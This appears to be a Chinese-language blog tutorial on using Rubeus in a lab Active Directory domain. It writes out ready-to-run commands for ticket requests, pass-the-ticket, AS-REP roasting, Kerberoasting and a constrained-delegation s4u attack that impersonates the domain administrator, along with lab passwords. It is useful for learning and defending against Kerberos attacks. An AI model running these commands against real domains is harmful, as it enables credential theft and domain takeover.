Administrator
发布于 2024-04-08 / 6 阅读
0
0

3.8 Rubeus

注:Rubeus没有发布预构建二进制版本,需要自行使用vs编译

一、申请TGT

明文密码申请TGT,base64格式打印出来,并导入到内存,导出成文件

Rubeus.exe asktgt /domain:sec.com /user:administrator /password:Az123456@ /nowrap /ptt /debug

二、申请ST

1、申请TGT

第一步申请的TGT复用

2、申请ST

使用上一步导出的TGT去申请ST

Rebeus.exe asktgs /service:"cifs/win2019-1.sec.com" /nowrap /ptt /ticket:ticket.kirbis

三、Rubeus导入票据

这里可以选择使用文件导入,或者base64导入

Rubeus.exe ptt /ticket:ticket.kirbi
Rubeus.exe ptt /ticket:[base64 code]

四、AS-REP Roasting攻击

该工具会自动搜索域内不要求kerberos预身份验证的用户,并以该用户身份发送AS-REQ,域控会直接返回AS-REP包,内含net-ntlm

在默认情况下,AD域默认启用预身份验证

但是可以在用户配置里禁用,以testuser为例

可以看到,Rubeus成功检索到该用户

使用John即可破解,这里不演示

五、Kerberoasting攻击

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting

Rubeus.exe kerberoat /format:json /outfile:hash.txt

服务账户的意义是为了给某个服务提供一个限制资源的账户(SPN),虽然任意域用户都可以向任意服务申请一张ST票据,但是这张ST票据去访问服务的时候,KDC只负责发放ST票据,至于实际有没有权限访问,还得看服务端认不认可ST票据内用户权限。

就比如下图klist,虽然以testnoadmin申请到了ldap/win2019-1.sec.com/sec.com的ST票据,但是客户端实际没有权限访问win2019-1的ldap服务,所以申请了票据但是用不出去。

但是如果申请回来的ST票据,是RC4加密的,就有机会穷举破解,因为RC4-HMAC相对于图中的AES-256不安全

六、委派攻击

1、约束性委派攻击

首先创造一个机器账户machine$

impacket-addcomputer sec.com/testnoadmin:Az123456@! -computer-name machine1$ -computer-pass Az123456@ -dc-ip 172.16.80.189
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Successfully added machine account machine1$ with password Az123456@.

发起约束性委派攻击,以machine1$身份委派获取cifs/win2019-1.sec.com的ST票据

首先计算aes256/rc4,因为后续的委派攻击只能使用这两种密文

.\Rubeus hash /user:machine1$ /password:Az123456@ /domain:sec.com

设置委派

然后发起约束性委派攻击,分三步:

Rubeus.exe s4u /user:machine1$ /rc4:[rc4_hash] /domain:sec.com /msdsspn:cifs/win2019-1.sec.com /impersonatuser:administrator /ptt

第一步:使用自己的hash向KDC申请一个TGT票据

第二步:服务1代表用户申请一个获得针对服务1自身的kerberos服务票据(S4U2SELF),这一步生成的TGS票据是可转发的TGS票据。

第三步:服务1使用来自用户的授权( 在S4U2SELF阶段获得的可转发的TGS),然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的TGS,返回的TGS是可转发的。

PS:我们不仅可以访问约束委派配置中用户可以模拟的服务,还可以访问使用与模拟帐户权限允许的任何服务。(因为未检查 SPN,只检查权限)。


评论